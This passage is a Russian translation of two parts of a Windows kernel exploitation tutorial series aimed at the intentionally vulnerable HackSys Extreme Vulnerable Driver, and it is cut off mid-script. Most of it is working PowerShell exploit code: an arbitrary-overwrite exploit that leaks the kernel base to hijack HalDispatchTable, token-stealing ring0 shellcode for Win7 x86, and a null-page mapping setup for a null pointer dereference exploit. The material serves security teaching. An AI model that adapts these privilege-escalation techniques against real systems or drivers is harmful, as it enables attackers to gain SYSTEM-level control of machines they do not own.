"{0:X}" -f $((0x00000022 -shl 16) -bor (0x00000000 -shl 14) -bor (FUNC_NUM_HERE -shl 2) -bor 0x00000003)

C++\C#:
(0x00000022 << 16) | (0x00000000 << 14) | (FUNC_NUM_HERE << 2) | 0x00000003

Example:
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE = 0x802
=> "{0:X}" -f $((0x00000022 -shl 16) -bor (0x00000000 -shl 14) -bor (0x802 -shl 2) -bor 0x00000003)
=> IOCTL = 0x22200B

Вы можете прочитать больше о макросе здесь (https://msdn.microsoft.com/en-us/library/ms902086.aspx). Теперь у нас есть IOCTL. Давайте проведем быструю проверку работоспособности с помощью графа IDA.

1.png


Выглядит хорошо. Одна вещь, которая меня немного заставила задуматься, это то, как функция определяет, какие байты она будет писать. Функция не записывает 4 байта, которые вы ей даете, вместо этого она обрабатывает эти байты как указатель и записывает двойное слово в этом указателе. Структуру буфера можно увидеть ниже.

# The first 4 bytes are a pointer to a pointer
[IntPtr]$WriteWhatPtr(->$WriteWhat) + $WriteWhere

Просто помните об этом. Если вы просто дадите ему адрес своего шеллкода, он фактически запишет первые 4 байта вашего шеллкода в указатель назначения.

Я быстро собрал POC, чтобы проверить, что мы можем успешно вызвать функцию.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# Buffer = WriteWhat + WriteWhere
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x4
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B`n"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)
|Out-null

2.png


Как мило :3. Теперь у нас есть наш примитивный эксплоит!

Поимей все вещи

HalDispatchTable


Реальный вопрос состоит в том, какой адрес мы будем перезаписывать (в пространстве ядра), который мы можем надежно найти, выполнить и не будет вызван BSOD. К счастью, для нас проделана тяжелая работа. Мы можем перезаписать указатель таблицы диспетчеризации ядра с относительной безопасностью (впервые описанный Ruben Santamarta в статье 2007 года, озаглавленной "Эксплуатация распространенных недостатков в драйверах")! Оказывается, существует недокументированная (редко используемая) функция под именем NtQueryIntervalProfile, которая измеряет задержки между отметками счетчика производительности. Под капотом эта функция вызывает системный вызов KeQueryIntervalProfile. Это не выглядит особенно захватывающим, пока мы не дизассемблируем KeQueryIntervalProfile.
3.png


Как мы видим, функция NtQueryIntervalProfile в конечном итоге вызовет указатель на HalDispatchTable+0x4. Если мы сможем перезаписать этот указатель адресом нашего шеллкода и затем вызвать функцию NtQueryIntervalProfile, мы должны получить выполнение кода в ядре.

Теперь, когда мы знаем, где мы хотим перезаписать, нам все еще нужно выяснить, как мы можем найти адрес таблицы HalDispatchTable. К счастью, мы можем рассчитывать на всегда полезную недокументированную функцию NtQuerySystemInformation. Если мы вызываем функцию NtQuerySystemInformation и укажем класс SystemModuleInformation, мы получаем список загруженных модулей и их соответствующих базовых адресов (включая ядро NT). Я избавлю читателя от мрачных подробностей работы с этим API. Я написал сценарий PowerShell для тяжелой работы Get-SystemModuleInformation (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-SystemModuleInformation.ps1).

4.png


Это эффективно обходит ASLR в ядре, потому что мы можем использовать базовый адрес загруженных модулей для вычисления любого смещения функции, которое мы хотим. Ниже вы можете увидеть простую арифметику указателя для получения смещения HalDispatchTable.

Код:
$SystemModuleArray = Get-SystemModuleInformation
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [Kernel32]::LoadLibrary("$KernelType")
$HALUserLand = [Kernel32]::GetProcAddress($KernelHanle, "HalDispatchTable")
$HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase

5.png


6.png


Шеллкод

Мы можем повторно использовать шеллкод для кражи токенов, который мы создали для предыдущего поста, при условии внесения поправок в раздел восстановления.

Код:
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)

По сути, нам не нужно восстанавливать те дополнительные инструкции, которые мы использовали ранее. Кроме того, мы перехватываем вызов функции, поэтому нам нужно сохранить состояние регистра и завершить наш шеллкод возвратом, чтобы продолжить выполнение потока в обычном режиме.

Конец Игры

Это должен быть полный прогон. Есть лишь некоторые мелкие детали по настройке указателей и распределению шеллкода. Пожалуйста, обратитесь к полному эксплоиту ниже для получения дополнительной информации.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_MODULE_INFORMATION
{
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
    public UIntPtr[] Reserved;
    public IntPtr ImageBase;
    public UInt32 ImageSize;
    public UInt32 Flags;
    public UInt16 LoadOrderIndex;
    public UInt16 InitOrderIndex;
    public UInt16 LoadCount;
    public UInt16 ModuleNameOffset;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
    internal Char[] _ImageName;
    public String ImageName {
        get {
            return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0];
        }
    }
}

public static class EVD
{
    [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary(
            string lpFileName);
        
    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("ntdll.dll")]
    public static extern int NtQuerySystemInformation(
        int SystemInformationClass,
        IntPtr SystemInformation,
        int SystemInformationLength,
        ref int ReturnLength);

    [DllImport("ntdll.dll")]
    public static extern uint NtQueryIntervalProfile(
        UInt32 ProfileSource,
        ref UInt32 Interval);

    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@

# Call NtQuerySystemInformation->SystemModuleInformation
# & Alloc buffer for the result
[int]$BuffPtr_Size = 0
while ($true) {
    [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
    $SystemInformationLength = New-Object Int
    # SystemModuleInformation Class = 11
    $CallResult = [EVD]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)

    # STATUS_INFO_LENGTH_MISMATCH
    if ($CallResult -eq 0xC0000004) {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
    }
    # STATUS_SUCCESS
    elseif ($CallResult -eq 0x00000000) {
        break
    }
    # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
    else {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        echo "[!] Error, NTSTATUS Value: $('{0:X}' -f ($CallResult))`n"
        return
    }
}

# Create SystemModuleInformation struct
$SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION
$SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
    $SYSTEM_MODULE_INFORMATION_Size = 284
} else {
    $SYSTEM_MODULE_INFORMATION_Size = 296
}

# Read SystemModuleInformation array count
# & increment offset IntPtr size
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size

# Loop SystemModuleInformation array
# & store output in $SystemModuleArray
$SystemModuleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
    $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
    $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION)
  
    $HashTable = @{
        ImageName = $Cast.ImageName
        ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()}
        ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)"
    }
  
    $Object = New-Object PSObject -Property $HashTable
    $SystemModuleArray += $Object

    $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size
}

# Free SystemModuleInformation array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)

# Get pointer to nt!HalDispatchTable
echo "`n[>] Leaking HalDispatchTable pointer.."
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [EVD]::LoadLibrary("$KernelType")
$HALUserLand = [EVD]::GetProcAddress($KernelHanle, "HalDispatchTable")
$HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase
$WriteWhere = [System.BitConverter]::GetBytes($HalDispatchTable+4)
echo "[+] Kernel Base: 0x$('{0:X}' -f $KernelBase)"
echo "[+] HalDispatchTable: 0x$('{0:X}' -f $HalDispatchTable)"

# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)

# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$WriteWhat = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"

# Get handle to driver
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# TriggerArbitraryOverwrite() IOCTL = 0x22200B
# => [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere
#---
[IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($WriteWhat.Length)
[System.Runtime.InteropServices.Marshal]::Copy($WriteWhat, 0, $WriteWhatPtr, $WriteWhat.Length)
$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + $WriteWhere

echo "`n[>] Sending WriteWhatWhere buffer.."
echo "[+] IOCTL: 0x22200B"
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] WriteWhere: 0x$('{0:X}' -f $($HalDispatchTable+4)) => nt!HalDispatchTable+4`n"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

# NtQueryIntervalProfile()->KeQueryIntervalProfile()
# => KeQueryIntervalProfile+0x23-> call dword HalDispatchTable+0x4
#---
# kd>
# nt!KeQueryIntervalProfile+0x23:
# 82cd0836 ff150404b382    call    dword ptr [nt!HalDispatchTable+0x4 (82b30404)]
# 82cd083c 85c0            test    eax,eax
# 82cd083e 7c0b            jl      nt!KeQueryIntervalProfile+0x38 (82cd084b)
#---
echo "[>] Calling NtQueryIntervalProfile trigger..`n"
[UInt32]$Dummy = 0
[EVD]::NtQueryIntervalProfile(0xb33f,[ref]$Dummy) |Out-Null


7.png


Кроме того, подумайте об этом. После повреждения указателя HalDispatchTable мы эффективно создали шлюз ядра. Мы всегда можем перезаписать наш шеллкод с тем же смещением и вызвать NtQueryIntervalProfile для непосредственного запуска нового кода в ядре!
 
Часть 12: Эксплуатация Ядра -> Разыменование нулевого указателя

Hola, и добро пожаловать обратно в 12 часть серии туториалов по разработке эксплоитов для Windows. Сегодня у нас еще одно сообщение об эксплуатации разыменованного нулевого указателя в крайне уязвимом драйвере @HackSysTeam. Более подробную информацию о настройке среды отладки смотрите в части 10. Поехали!

Ресурсы:

+ HackSysExtremeVulnerableDriver (hacksysteam) - (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
+ EMET - (http://www.ivanlef0u.tuxfamily.org/?p=355)
+ Small Hax to avoid crashing ur prog - (http://www.rohitab.com/discuss/topic/34884-c-small-hax-to-avoid-crashing-ur-prog/)

Вызов на дуэль

Давайте посмотрим на часть рассматриваемой уязвимой функции (https://github.com/hacksysteam/Hack...master/Driver/Source/NullPointerDereference.c).

C:
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
 
    PAGED_CODE();
 
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(NULL_POINTER_DEREFERENCE),
                     (ULONG)__alignof(NULL_POINTER_DEREFERENCE));
 
        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                  ExAllocatePoolWithTag(NonPagedPool,
                                                        sizeof(NULL_POINTER_DEREFERENCE),
                                                        (ULONG)POOL_TAG);
 
        if (!NullPointerDereference) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }
 
        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
 
        // Validate the magic value
        if (UserValue == MagicValue) {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
 
            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
 
            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
 
            // Set to NULL to avoid dangling pointer
            NullPointerDereference = NULL;
        }
 
#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");
 
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}

Итак, у нас есть проверка магического значения. В случае успеха мы печатаем значение и функцию обратного вызова (это нормальный поток выполнения). Если проверка не удалась, мы освобождаем тег пула и обнуляем указатель. До этого момента проблем не было. Но затем в уязвимой версии драйвер просто вызывает функцию обратного вызова, не проверяя, была ли она ранее обнулена!

Код IOCTL для этой функции равен 0x22202B. Чтобы увидеть, как можно определить код IOCTL, ознакомьтесь с частью 10 и частью 11 этой серии. Давайте быстро перейдем к дизассемблеру IDA и посмотрим на функцию.

1.png


Таким образом, теоретически, если мы вызываем функцию TriggerNullPointerDereference и передадим магическое значение, мы должны выполнить функцию, а не вызывать разыменование нулевого указателя. Мы можем проверить это с помощью следующего POC.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
$Buffer = [System.BitConverter]::GetBytes(0xbad0b0b0)
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22202B`n"
[EVD]::DeviceIoControl($hDevice, 0x22202B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)
|Out-null

2.png


Идеально. Без сбоев. Без исключений. Если магическое значение не совпадает, мы входим блок, в котором обнуляется указатель на функцию обратного вызова.

3.png


После этой операции мы переходим к следующему блоку инструкций, где срабатывает разыменование нулевого указателя.

4.png


Хорошо, давайте проверим нашу теорию! Все, что нам нужно сделать, это передать драйверу магическое значение, которое не сможет выполнить сравнение (например: 0xdeadb33f)

5.png


Как и ожидалось, мы запускаем разыменование нулевого указателя. Вы, возможно, заметили из кода C++ выше, что здесь работает обработчик исключений драйвера. Это хорошо, потому что все это не заканчивайте вызовом голубого экрана смерти!

Поимей все вещи

NtAllocateVirtualMemory


Единственный реальный трюк здесь заключается в том, как выделить двойное слово по адресу 0x00000004. Я настоятельно рекомендую вам быстро взглянуть на этот, самый забавный и интересный пост на rohitab (http://www.rohitab.com/discuss/topic/34884-c-small-hax-to-avoid-crashing-ur-prog/).

6.jpg


В отличие от Linux, Windows позволяет пользователям с низким уровнем доступа отображать пустую страницу в контексте пользовательского процесса. Эта функциональность немного скрыта в том смысле, что и функции VirtualAlloc, и VirtualAllocEx возвращают доступ, в котором отказано, если базовый адрес выделения меньше адреса 0x00001000. Однако такое ограничение не применяется к недокументированной функции NtAllocateVirtualMemory. Следующий код может быть использован для иллюстрации этого.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern uint NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        uint ZeroBits,
        ref UInt32 AllocationSize,
        UInt32 AllocationType,
        UInt32 Protect);
}
"@
 
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$AllocationSize = 2048 # 2kb, seems like a nice number
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40)
if ($CallResult -ne 0) {
    echo "[!] Failed to allocate null-page..`n"
    Return
} else {
    echo "[+] Success"
}

Хотя приведенный выше пост может показаться немного нелепым, автор непреднамеренно дает хорошую идею. Предварительное выделение нулевой страницы предотвратит эксплуатацию уязвимостей разыменования нулевого указателя (EMET делает это).

Шеллкод

Мы можем повторно использовать токен для кражи шеллкода, который мы создали для предыдущего поста. На этот раз никаких изменений не требуется, поскольку мы перехватываем другой вызов функции.

Код:
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)

Установка
Просто чтобы уточнить общие настройки нашего эксплоита, нам нужно:
- 1) положить куда-нибудь наш шеллкод в памятт,
- 2) выделить память на нулевой странице программы,
- 3) записать адрес нашего шелл-кода в [IntPtr] 0x00000004 и
- 4) вызвать разыменование нулевого указателя.

Конец игры

Это то что нужно. Пожалуйста, обратитесь к полному эксплоиту ниже для получения дополнительной информации.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern uint NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        uint ZeroBits,
        ref UInt32 AllocationSize,
        UInt32 AllocationType,
        UInt32 Protect);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
 
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)
 
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
 
# Allocate null-page
#---
# NtAllocateVirtualMemory must be used as VirtualAlloc
# will refuse a base address smaller than [IntPtr]0x1000
#---
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$AllocationSize = 2048 # 2kb, seems like a nice number
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40)
if ($CallResult -ne 0) {
